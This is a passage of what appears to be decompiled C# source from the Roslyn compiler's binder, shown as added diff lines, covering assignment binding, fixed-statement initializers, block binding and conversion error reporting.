protected bool CheckRefLocalInAsyncOrIteratorMethod(SyntaxToken identifierToken, BindingDiagnosticBag diagnostics) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + if (IsInAsyncMethod()) + { + Error(diagnostics, ErrorCode.ERR_BadAsyncLocalType, identifierToken); + return true; + } + if (IsDirectlyInIterator) + { + Error(diagnostics, ErrorCode.ERR_BadIteratorLocalType, identifierToken); + return true; + } + return false; + } + + internal ImmutableArray BindDeclaratorArguments(VariableDeclaratorSyntax declarator, BindingDiagnosticBag diagnostics) + { + ImmutableArray result = default(ImmutableArray); + if (declarator.ArgumentList != null) + { + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + BindArgumentsAndNames(declarator.ArgumentList, diagnostics, instance); + result = BuildArgumentsForErrorRecovery(instance); + instance.Free(); + } + return result; + } + + private SourceLocalSymbol LocateDeclaredVariableSymbol(VariableDeclaratorSyntax declarator, TypeSyntax typeSyntax, LocalDeclarationKind outerKind) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + LocalDeclarationKind kind = ((outerKind != LocalDeclarationKind.UsingVariable) ? LocalDeclarationKind.RegularVariable : LocalDeclarationKind.UsingVariable); + return LocateDeclaredVariableSymbol(declarator.Identifier, typeSyntax, declarator.Initializer, kind); + } + + private SourceLocalSymbol LocateDeclaredVariableSymbol(SyntaxToken identifier, TypeSyntax typeSyntax, EqualsValueClauseSyntax equalsValue, LocalDeclarationKind kind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + SourceLocalSymbol sourceLocalSymbol = LookupLocal(identifier); + if ((object)sourceLocalSymbol == null) + { + sourceLocalSymbol = SourceLocalSymbol.MakeLocal(ContainingMemberOrLambda, this, allowRefKind: false, allowScoped: false, typeSyntax, identifier, kind, equalsValue); + } + return sourceLocalSymbol; + } + + private bool IsValidFixedVariableInitializer(TypeSymbol declType, ref BoundExpression initializerOpt, BindingDiagnosticBag diagnostics) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Invalid comparison between Unknown and I4 + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Invalid comparison between Unknown and I4 + //IL_015a: Unknown result type (might be due to invalid IL or missing references) + BoundExpression obj = initializerOpt; + if (obj == null || obj.HasAnyErrors) + { + return false; + } + TypeSymbol type = initializerOpt.Type; + SyntaxNode syntax = initializerOpt.Syntax; + if ((object)type == null) + { + Error(diagnostics, ErrorCode.ERR_ExprCannotBeFixed, SyntaxNodeOrToken.op_Implicit(syntax)); + return false; + } + bool hasErrors = false; + MethodSymbol methodSymbol = null; + BoundKind kind = initializerOpt.Kind; + TypeSymbol typeSymbol; + if (kind != BoundKind.AddressOfOperator) + { + if (kind == BoundKind.FieldAccess) + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)initializerOpt; + if (boundFieldAccess.FieldSymbol.IsFixedSizeBuffer) + { + typeSymbol = ((PointerTypeSymbol)boundFieldAccess.Type).PointedAtType; + goto IL_0166; + } + } + if (type.IsArray()) + { + typeSymbol = ((ArrayTypeSymbol)type).ElementType; + } + else + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(diagnostics); + methodSymbol = GetFixedPatternMethodOpt(initializerOpt, instance); + if ((int)type.SpecialType == 20 && ((object)methodSymbol == null || (int)methodSymbol.ContainingType.SpecialType != 20)) + { + methodSymbol = null; + typeSymbol = GetSpecialType((SpecialType)8, diagnostics, syntax); + ((BindingDiagnosticBag)(object)instance).Free(); + } + else + { + CSharpParseOptions obj2 = (CSharpParseOptions)(object)initializerOpt.SyntaxTree.Options; + if (obj2 == null || obj2.IsFeatureEnabled(MessageID.IDS_FeatureExtensibleFixedStatement)) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)instance, false); + } + ((BindingDiagnosticBag)(object)instance).Free(); + if ((object)methodSymbol == null) + { + Error(diagnostics, ErrorCode.ERR_ExprCannotBeFixed, SyntaxNodeOrToken.op_Implicit(syntax)); + return false; + } + typeSymbol = methodSymbol.ReturnType; + CheckFeatureAvailability(initializerOpt.Syntax, MessageID.IDS_FeatureExtensibleFixedStatement, diagnostics); + } + } + } + else + { + typeSymbol = ((BoundAddressOfOperator)initializerOpt).Operand.Type; + } + goto IL_0166; + IL_0166: + if (CheckManagedAddr(Compilation, typeSymbol, syntax.Location, diagnostics)) + { + hasErrors = true; + } + initializerOpt = BindToNaturalType(initializerOpt, diagnostics, reportNoTargetType: false); + initializerOpt = GetFixedLocalCollectionInitializer(initializerOpt, typeSymbol, declType, methodSymbol, hasErrors, diagnostics); + return true; + } + + private MethodSymbol GetFixedPatternMethodOpt(BoundExpression initializer, BindingDiagnosticBag additionalDiagnostics) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + if (initializer.Type.IsVoidType()) + { + return null; + } + PerformPatternMethodLookup(initializer, "GetPinnableReference", initializer.Syntax, additionalDiagnostics, out var result); + if ((object)result == null) + { + return null; + } + if (HasOptionalOrVariableParameters(result) || result.ReturnsVoid || !result.RefKind.IsManagedReference() || (result.ParameterCount != 0 && (!result.IsStatic || result.ParameterCount != 1))) + { + additionalDiagnostics.Add(ErrorCode.WRN_PatternBadSignature, initializer.Syntax.Location, initializer.Type, "fixed", result); + return null; + } + return result; + } + + private BoundExpression GetFixedLocalCollectionInitializer(BoundExpression initializer, TypeSymbol elementType, TypeSymbol declType, MethodSymbol patternMethodOpt, bool hasErrors, BindingDiagnosticBag diagnostics) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode syntax = initializer.Syntax; + TypeSymbol typeSymbol = new PointerTypeSymbol(TypeWithAnnotations.Create(elementType)); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromType(typeSymbol, declType, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + if (!conversion.IsValid || !conversion.IsImplicit) + { + GenerateImplicitConversionError(diagnostics, Compilation, syntax, conversion, typeSymbol, declType); + hasErrors = true; + } + BoundValuePlaceholder boundValuePlaceholder; + BoundExpression elementPointerConversion; + if (conversion.IsValid) + { + boundValuePlaceholder = new BoundValuePlaceholder(syntax, typeSymbol).MakeCompilerGenerated(); + elementPointerConversion = CreateConversion(syntax, boundValuePlaceholder, conversion, isCast: false, null, declType, conversion.IsImplicit ? diagnostics : BindingDiagnosticBag.Discarded); + } + else + { + boundValuePlaceholder = null; + elementPointerConversion = null; + } + return new BoundFixedLocalCollectionInitializer(syntax, typeSymbol, boundValuePlaceholder, elementPointerConversion, initializer, patternMethodOpt, declType, hasErrors); + } + + private BoundExpression BindAssignment(AssignmentExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Invalid comparison between Unknown and I4 + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + node.Left.CheckDeconstructionCompatibleArgument(diagnostics); + if (node.Left.Kind() == SyntaxKind.TupleExpression || node.Left.Kind() == SyntaxKind.DeclarationExpression) + { + return BindDeconstruction(node, diagnostics); + } + RefKind refKind; + ExpressionSyntax node2 = node.Right.CheckAndUnwrapRefExpression(diagnostics, out refKind); + bool flag = (int)refKind == 1; + BindValueKind valueKind = (flag ? BindValueKind.RefAssignable : BindValueKind.Assignable); + if (flag) + { + MessageID.IDS_FeatureRefReassignment.CheckFeatureAvailability(diagnostics, node.Right.GetFirstToken()); + } + BoundExpression boundExpression = BindValue(node.Left, diagnostics, valueKind); + ReportSuppressionIfNeeded(boundExpression, diagnostics); + BindValueKind valueKind2 = (flag ? GetRequiredRHSValueKindForRefAssignment(boundExpression) : BindValueKind.RValue); + BoundExpression boundExpression2 = BindValue(node2, diagnostics, valueKind2); + if (boundExpression.Kind == BoundKind.DiscardExpression) + { + boundExpression2 = BindToNaturalType(boundExpression2, diagnostics); + boundExpression = InferTypeForDiscardAssignment((BoundDiscardExpression)boundExpression, boundExpression2, diagnostics); + } + return BindAssignment((SyntaxNode)(object)node, boundExpression, boundExpression2, flag, diagnostics); + } + + private static BindValueKind GetRequiredRHSValueKindForRefAssignment(BoundExpression boundLeft) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + BindValueKind bindValueKind = BindValueKind.RefersToLocation; + if (!boundLeft.HasErrors) + { + RefKind refKind = boundLeft.GetRefKind(); + if (refKind - 1 <= 1) + { + bindValueKind |= BindValueKind.Assignable; + } + } + return bindValueKind; + } + + private BoundExpression InferTypeForDiscardAssignment(BoundDiscardExpression op1, BoundExpression op2, BindingDiagnosticBag diagnostics) + { + TypeSymbol type = op2.Type; + if ((object)type == null) + { + return op1.FailInference(this, diagnostics); + } + if (type.IsVoidType()) + { + diagnostics.Add(ErrorCode.ERR_VoidAssignment, op1.Syntax.Location); + } + return op1.SetInferredTypeWithAnnotations(TypeWithAnnotations.Create(type)); + } + + private BoundAssignmentOperator BindAssignment(SyntaxNode node, BoundExpression op1, BoundExpression op2, bool isRef, BindingDiagnosticBag diagnostics) + { + bool hasErrors = op1.HasAnyErrors || op2.HasAnyErrors; + if (!op1.HasAnyErrors) + { + BoundExpression boundExpression = GenerateConversionForAssignment(op1.Type, op2, diagnostics, isRef ? ConversionForAssignmentFlags.RefAssignment : ConversionForAssignmentFlags.None); + op2 = ((op1.Kind == BoundKind.DynamicIndexerAccess || op1.Kind == BoundKind.DynamicMemberAccess || op1.Kind == BoundKind.DynamicObjectInitializerMember) ? BindToNaturalType(op2, diagnostics) : boundExpression); + } + else + { + op2 = BindToTypeForErrorRecovery(op2); + } + TypeSymbol type = ((op1.Kind != BoundKind.EventAccess || !((BoundEventAccess)op1).EventSymbol.IsWindowsRuntimeEvent) ? op1.Type : GetSpecialType((SpecialType)6, diagnostics, node)); + return new BoundAssignmentOperator(node, op1, op2, isRef, type, hasErrors); + } + + internal static PropertySymbol GetPropertySymbol(BoundExpression expr, out BoundExpression receiver, out SyntaxNode propertySyntax) + { + if (expr == null) + { + receiver = null; + propertySyntax = null; + return null; + } + PropertySymbol result; + switch (expr.Kind) + { + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)expr; + receiver = boundPropertyAccess.ReceiverOpt; + result = boundPropertyAccess.PropertySymbol; + break; + } + case BoundKind.IndexerAccess: + { + BoundIndexerAccess boundIndexerAccess2 = (BoundIndexerAccess)expr; + receiver = boundIndexerAccess2.ReceiverOpt; + result = boundIndexerAccess2.Indexer; + break; + } + case BoundKind.ImplicitIndexerAccess: + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = (BoundImplicitIndexerAccess)expr; + BoundExpression indexerOrSliceAccess = boundImplicitIndexerAccess.IndexerOrSliceAccess; + if (!(indexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess)) + { + if (indexerOrSliceAccess is BoundCall || indexerOrSliceAccess is BoundArrayAccess) + { + receiver = null; + propertySyntax = null; + return null; + } + throw ExceptionUtilities.UnexpectedValue((object)boundImplicitIndexerAccess.IndexerOrSliceAccess.Kind); + } + result = boundIndexerAccess.Indexer; + receiver = boundImplicitIndexerAccess.Receiver; + break; + } + default: + receiver = null; + propertySyntax = null; + return null; + } + SyntaxNode syntax = expr.Syntax; + switch (syntax.Kind()) + { + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + propertySyntax = (SyntaxNode)(object)((MemberAccessExpressionSyntax)(object)syntax).Name; + break; + case SyntaxKind.IdentifierName: + propertySyntax = syntax; + break; + case SyntaxKind.ElementAccessExpression: + propertySyntax = (SyntaxNode)(object)((ElementAccessExpressionSyntax)(object)syntax).ArgumentList; + break; + default: + propertySyntax = syntax; + break; + } + return result; + } + + internal static Symbol? GetIndexerOrImplicitIndexerSymbol(BoundExpression? e) + { + if (e != null) + { + if (!(e is BoundIndexerAccess boundIndexerAccess)) + { + if (e is BoundImplicitIndexerAccess boundImplicitIndexerAccess) + { + BoundExpression indexerOrSliceAccess = boundImplicitIndexerAccess.IndexerOrSliceAccess; + if (indexerOrSliceAccess is BoundCall boundCall) + { + return boundCall.Method; + } + if (indexerOrSliceAccess is BoundIndexerAccess boundIndexerAccess2) + { + return boundIndexerAccess2.Indexer; + } + if (indexerOrSliceAccess is BoundArrayAccess) + { + return null; + } + } + else + { + if (e is BoundArrayAccess) + { + return null; + } + if (e is BoundDynamicIndexerAccess) + { + return null; + } + if (e is BoundBadExpression) + { + return null; + } + } + throw ExceptionUtilities.UnexpectedValue((object)e.Kind); + } + return boundIndexerAccess.Indexer; + } + return null; + } + + private static SyntaxNode GetEventName(BoundEventAccess expr) + { + SyntaxNode syntax = expr.Syntax; + switch (syntax.Kind()) + { + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + return (SyntaxNode)(object)((MemberAccessExpressionSyntax)(object)syntax).Name; + case SyntaxKind.QualifiedName: + return (SyntaxNode)(object)((QualifiedNameSyntax)(object)syntax).Right; + case SyntaxKind.IdentifierName: + return syntax; + case SyntaxKind.MemberBindingExpression: + return (SyntaxNode)(object)((MemberBindingExpressionSyntax)(object)syntax).Name; + default: + throw ExceptionUtilities.UnexpectedValue((object)syntax.Kind()); + } + } + + private DiagnosticInfo GetBadEventUsageDiagnosticInfo(EventSymbol eventSymbol) + { + EventSymbol eventSymbol2 = (EventSymbol)eventSymbol.GetLeastOverriddenMember(ContainingType); + if (!eventSymbol2.HasAssociatedField) + { + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadEventUsageNoField, eventSymbol2); + } + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadEventUsage, eventSymbol2, eventSymbol2.ContainingType); + } + + internal static bool AccessingAutoPropertyFromConstructor(BoundPropertyAccess propertyAccess, Symbol fromMember) + { + return AccessingAutoPropertyFromConstructor(propertyAccess.ReceiverOpt, propertyAccess.PropertySymbol, fromMember); + } + + private static bool AccessingAutoPropertyFromConstructor(BoundExpression receiver, PropertySymbol propertySymbol, Symbol fromMember) + { + if (!propertySymbol.IsDefinition && propertySymbol.ContainingType.Equals(propertySymbol.ContainingType.OriginalDefinition, (TypeCompareKind)8)) + { + propertySymbol = propertySymbol.OriginalDefinition; + } + SourcePropertySymbolBase sourcePropertySymbolBase = propertySymbol as SourcePropertySymbolBase; + bool isStatic = propertySymbol.IsStatic; + if ((object)sourcePropertySymbolBase != null && sourcePropertySymbolBase.IsAutoPropertyWithGetAccessor && TypeSymbol.Equals(sourcePropertySymbolBase.ContainingType, fromMember.ContainingType, (TypeCompareKind)63) && IsConstructorOrField(fromMember, isStatic)) + { + if (!isStatic) + { + return receiver.Kind == BoundKind.ThisReference; + } + return true; + } + return false; + } + + private static bool IsConstructorOrField(Symbol member, bool isStatic) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if ((member as MethodSymbol)?.MethodKind != (MethodKind?)((!isStatic) ? 1 : 14)) + { + FieldSymbol obj = member as FieldSymbol; + if ((object)obj == null) + { + return false; + } + return obj.IsStatic == isStatic; + } + return true; + } + + private TypeSymbol GetAccessThroughType(BoundExpression receiver) + { + if (receiver == null) + { + return ContainingType; + } + if (receiver.Kind == BoundKind.BaseReference) + { + return null; + } + return receiver.Type; + } + + private BoundExpression BindPossibleArrayInitializer(ExpressionSyntax node, TypeSymbol destinationType, BindValueKind valueKind, BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + if (node.Kind() != SyntaxKind.ArrayInitializerExpression) + { + return BindValue(node, diagnostics, valueKind); + } + BoundExpression expr = (((int)destinationType.Kind != 1) ? ((BoundExpression)BindUnexpectedArrayInitializer((InitializerExpressionSyntax)node, diagnostics, ErrorCode.ERR_ArrayInitToNonArrayType)) : ((BoundExpression)BindArrayCreationWithInitializer(diagnostics, null, (InitializerExpressionSyntax)node, (ArrayTypeSymbol)destinationType, ImmutableArray.Empty))); + return CheckValue(expr, valueKind, diagnostics); + } + + protected virtual SourceLocalSymbol LookupLocal(SyntaxToken nameToken) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Next.LookupLocal(nameToken); + } + + protected virtual LocalFunctionSymbol LookupLocalFunction(SyntaxToken nameToken) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Next.LookupLocalFunction(nameToken); + } + + internal virtual BoundBlock BindEmbeddedBlock(BlockSyntax node, BindingDiagnosticBag diagnostics) + { + return BindBlock(node, diagnostics); + } + + private BoundBlock BindBlock(BlockSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (node.AttributeLists.Count > 0) + { + Error(diagnostics, ErrorCode.ERR_AttributesNotAllowed, (CSharpSyntaxNode)node.AttributeLists[0]); + } + return GetBinder((SyntaxNode)(object)node).BindBlockParts(node, diagnostics); + } + + private BoundBlock BindBlockParts(BlockSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxList statements = node.Statements; + int count = statements.Count; + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + for (int i = 0; i < count; i++) + { + BoundStatement boundStatement = BindStatement(statements[i], diagnostics); + instance.Add(boundStatement); + } + return FinishBindBlockParts(node, instance.ToImmutableAndFree()); + } + + private BoundBlock FinishBindBlockParts(CSharpSyntaxNode node, ImmutableArray boundStatements) + { + ImmutableArray declaredLocalsForScope = GetDeclaredLocalsForScope((SyntaxNode)(object)node); + ImmutableArray declaredLocalFunctionsForScope = GetDeclaredLocalFunctionsForScope(node); + CSharpSyntaxNode? parent = node.Parent; + return new BoundBlock((SyntaxNode)(object)node, declaredLocalsForScope, declaredLocalFunctionsForScope, parent != null && parent.Kind() == SyntaxKind.UnsafeStatement, null, boundStatements); + } + + internal BoundExpression GenerateConversionForAssignment(TypeSymbol targetType, BoundExpression expression, BindingDiagnosticBag diagnostics, ConversionForAssignmentFlags flags = ConversionForAssignmentFlags.None) + { + Conversion conversion; + return GenerateConversionForAssignment(targetType, expression, diagnostics, out conversion, flags); + } + + internal BoundExpression GenerateConversionForAssignment(TypeSymbol targetType, BoundExpression expression, BindingDiagnosticBag diagnostics, out Conversion conversion, ConversionForAssignmentFlags flags = ConversionForAssignmentFlags.None) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + if (expression.HasAnyErrors && expression.Kind != BoundKind.UnboundLambda) + { + diagnostics = BindingDiagnosticBag.Discarded; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + conversion = (((flags & ConversionForAssignmentFlags.IncrementAssignment) == 0) ? Conversions.ClassifyConversionFromExpression(expression, targetType, CheckOverflowAtRuntime, ref useSiteInfo) : Conversions.ClassifyConversionFromType(expression.Type, targetType, CheckOverflowAtRuntime, ref useSiteInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add(expression.Syntax, useSiteInfo); + if ((flags & ConversionForAssignmentFlags.RefAssignment) != ConversionForAssignmentFlags.None) + { + if (conversion.Kind == ConversionKind.Identity) + { + return expression; + } + Error(diagnostics, ErrorCode.ERR_RefAssignmentMustHaveIdentityConversion, SyntaxNodeOrToken.op_Implicit(expression.Syntax), targetType); + } + else + { + if (conversion.IsValid) + { + bool num; + if ((flags & ConversionForAssignmentFlags.CompoundAssignment) != ConversionForAssignmentFlags.None) + { + if (!conversion.IsExplicit) + { + goto IL_00fa; + } + num = (flags & ConversionForAssignmentFlags.PredefinedOperator) == 0; + } + else + { + num = !conversion.IsImplicit; + } + if (!num) + { + goto IL_00fa; + } + } + if ((flags & ConversionForAssignmentFlags.DefaultParameter) == 0) + { + GenerateImplicitConversionError(diagnostics, expression.Syntax, conversion, expression, targetType); + } + diagnostics = BindingDiagnosticBag.Discarded; + } + goto IL_00fa; + IL_00fa: + return CreateConversion(expression.Syntax, expression, conversion, isCast: false, null, targetType, diagnostics); + } + + private static Location GetAnonymousFunctionLocation(SyntaxNode node) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val; + if (!(node is LambdaExpressionSyntax lambdaExpressionSyntax)) + { + if (node is AnonymousMethodExpressionSyntax anonymousMethodExpressionSyntax) + { + val = anonymousMethodExpressionSyntax.DelegateKeyword; + return ((SyntaxToken)(ref val)).GetLocation(); + } + return node.Location; + } + val = lambdaExpressionSyntax.ArrowToken; + return ((SyntaxToken)(ref val)).GetLocation(); + } + + internal void GenerateAnonymousFunctionConversionError(BindingDiagnosticBag diagnostics, SyntaxNode syntax, UnboundLambda anonymousFunction, TypeSymbol targetType) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_01d0: Unknown result type (might be due to invalid IL or missing references) + //IL_01d5: Unknown result type (might be due to invalid IL or missing references) + //IL_01d7: Unknown result type (might be due to invalid IL or missing references) + //IL_03de: Unknown result type (might be due to invalid IL or missing references) + //IL_01fd: Unknown result type (might be due to invalid IL or missing references) + //IL_02cc: Unknown result type (might be due to invalid IL or missing references) + //IL_02d1: Unknown result type (might be due to invalid IL or missing references) + //IL_02ec: Unknown result type (might be due to invalid IL or missing references) + //IL_02f1: Unknown result type (might be due to invalid IL or missing references) + //IL_035a: Unknown result type (might be due to invalid IL or missing references) + //IL_035c: Unknown result type (might be due to invalid IL or missing references) + //IL_032d: Unknown result type (might be due to invalid IL or missing references) + //IL_0341: Unknown result type (might be due to invalid IL or missing references) + //IL_0360: Unknown result type (might be due to invalid IL or missing references) + //IL_03ab: Unknown result type (might be due to invalid IL or missing references) + //IL_0380: Unknown result type (might be due to invalid IL or missing references) + if (targetType.IsErrorType()) + { + return; + } + LambdaConversionResult lambdaConversionResult = ConversionsBase.IsAnonymousFunctionCompatibleWithType(anonymousFunction, targetType, Compilation); + if (lambdaConversionResult == LambdaConversionResult.Success) + { + return; + } + LocalizableErrorArgument localizableErrorArgument = anonymousFunction.MessageID.Localize(); + switch (lambdaConversionResult) + { + case LambdaConversionResult.BadTargetType: + { + if (ReportDelegateInvokeUseSiteDiagnostic(diagnostics, targetType, null, syntax)) + { + return; + } + FunctionTypeSymbol functionType = anonymousFunction.FunctionType; + if ((object)functionType != null && (object)functionType.GetInternalDelegateType() == null) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if (Conversions.IsValidFunctionTypeConversionTarget(targetType, ref useSiteInfo)) + { + conversionError(diagnostics, ErrorCode.ERR_CannotInferDelegateType, Array.Empty()); + BoundLambda boundLambda = anonymousFunction.BindForErrorRecovery(); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(boundLambda.Diagnostics, false); + return; + } + } + conversionError(diagnostics, ErrorCode.ERR_AnonMethToNonDel, new object[2] { localizableErrorArgument, targetType }); + return; + } + case LambdaConversionResult.ExpressionTreeMustHaveDelegateTypeArgument: + conversionError(diagnostics, ErrorCode.ERR_ExpressionTreeMustHaveDelegate, new object[1] { ((NamedTypeSymbol)targetType).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type }); + return; + case LambdaConversionResult.ExpressionTreeFromAnonymousMethod: + conversionError(diagnostics, ErrorCode.ERR_AnonymousMethodToExpressionTree, Array.Empty()); + return; + case LambdaConversionResult.MismatchedReturnType: + conversionError(diagnostics, ErrorCode.ERR_CantConvAnonMethReturnType, new object[2] { localizableErrorArgument, targetType }); + return; + case LambdaConversionResult.MissingSignatureWithOutParameter: + conversionError(diagnostics, ErrorCode.ERR_CantConvAnonMethNoParams, new object[1] { targetType }); + return; + } + NamedTypeSymbol delegateType = targetType.GetDelegateType(); + if (lambdaConversionResult == LambdaConversionResult.BadParameterCount) + { + conversionError(diagnostics, ErrorCode.ERR_BadDelArgCount, new object[2] { delegateType, anonymousFunction.ParameterCount }); + return; + } + if (anonymousFunction.HasExplicitlyTypedParameterList) + { + for (int i = 0; i < anonymousFunction.ParameterCount; i++) + { + if (anonymousFunction.ParameterType(i).IsErrorType()) + { + return; + } + } + } + ImmutableArray immutableArray = delegateType.DelegateParameters(); + switch (lambdaConversionResult) + { + case LambdaConversionResult.RefInImplicitlyTypedLambda: + { + for (int k = 0; k < anonymousFunction.ParameterCount; k++) + { + RefKind refKind2 = immutableArray[k].RefKind; + if ((int)refKind2 != 0) + { + Error(diagnostics, ErrorCode.ERR_BadParamRef, anonymousFunction.ParameterLocation(k), k + 1, RefKindExtensions.ToParameterDisplayString(refKind2)); + } + } + break; + } + case LambdaConversionResult.StaticTypeInImplicitlyTypedLambda: + { + for (int l = 0; l < anonymousFunction.ParameterCount; l++) + { + if (immutableArray[l].TypeWithAnnotations.IsStatic) + { + Error(diagnostics, ErrorFacts.GetStaticClassParameterCode(useWarning: false), anonymousFunction.ParameterLocation(l), immutableArray[l].Type); + } + } + break; + } + case LambdaConversionResult.MismatchedParameterType: + { + conversionError(diagnostics, ErrorCode.ERR_CantConvAnonMethParams, new object[2] { localizableErrorArgument, targetType }); + for (int j = 0; j < anonymousFunction.ParameterCount; j++) + { + TypeSymbol typeSymbol = anonymousFunction.ParameterType(j); + if (typeSymbol.IsErrorType()) + { + continue; + } + Location location = anonymousFunction.ParameterLocation(j); + RefKind val = anonymousFunction.RefKind(j); + TypeSymbol type = immutableArray[j].Type; + RefKind refKind = immutableArray[j].RefKind; + if (!typeSymbol.Equals(type, (TypeCompareKind)63)) + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(Compilation, typeSymbol, type); + Error(diagnostics, ErrorCode.ERR_BadParamType, location, j + 1, RefKindExtensions.ToParameterPrefix(val), symbolDistinguisher.First, RefKindExtensions.ToParameterPrefix(refKind), symbolDistinguisher.Second); + } + else if (val != refKind) + { + if ((int)refKind == 0) + { + Error(diagnostics, ErrorCode.ERR_BadParamExtraRef, location, j + 1, RefKindExtensions.ToParameterDisplayString(val)); + } + else + { + Error(diagnostics, ErrorCode.ERR_BadParamRef, location, j + 1, RefKindExtensions.ToParameterDisplayString(refKind)); + } + } + } + break; + } + case LambdaConversionResult.BindingFailed: + { + BoundLambda boundLambda2 = anonymousFunction.Bind(delegateType, isExpressionTree: false); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(boundLambda2.Diagnostics, false); + break; + } + default: + diagnostics.Add(ErrorCode.ERR_InternalError, syntax.Location); + break; + } + void conversionError(BindingDiagnosticBag diagnostics2, ErrorCode code, object[] args) + { + Error(diagnostics2, code, GetAnonymousFunctionLocation(syntax), args); + } + } + + protected static void GenerateImplicitConversionError(BindingDiagnosticBag diagnostics, CSharpCompilation compilation, SyntaxNode syntax, Conversion conversion, TypeSymbol sourceType, TypeSymbol targetType, ConstantValue sourceConstantValueOpt = null) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_01dc: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Unknown result type (might be due to invalid IL or missing references) + //IL_017f: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Invalid comparison between Unknown and I4 + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + if (sourceType.ContainsErrorType() || targetType.ContainsErrorType()) + { + return; + } + if (conversion.IsExplicit) + { + if ((int)sourceType.SpecialType == 19 && syntax.Kind() == SyntaxKind.NumericLiteralExpression && ((int)targetType.SpecialType == 18 || (int)targetType.SpecialType == 17)) + { + Error(diagnostics, ErrorCode.ERR_LiteralDoubleCast, SyntaxNodeOrToken.op_Implicit(syntax), ((int)targetType.SpecialType == 18) ? "F" : "M", targetType); + } + else if (conversion.Kind == ConversionKind.ExplicitNumeric && sourceConstantValueOpt != (ConstantValue)null && sourceConstantValueOpt != ConstantValue.Bad && ConversionsBase.HasImplicitConstantExpressionConversion(new BoundLiteral(syntax, ConstantValue.Bad, sourceType), targetType)) + { + Error(diagnostics, ErrorCode.ERR_ConstOutOfRange, 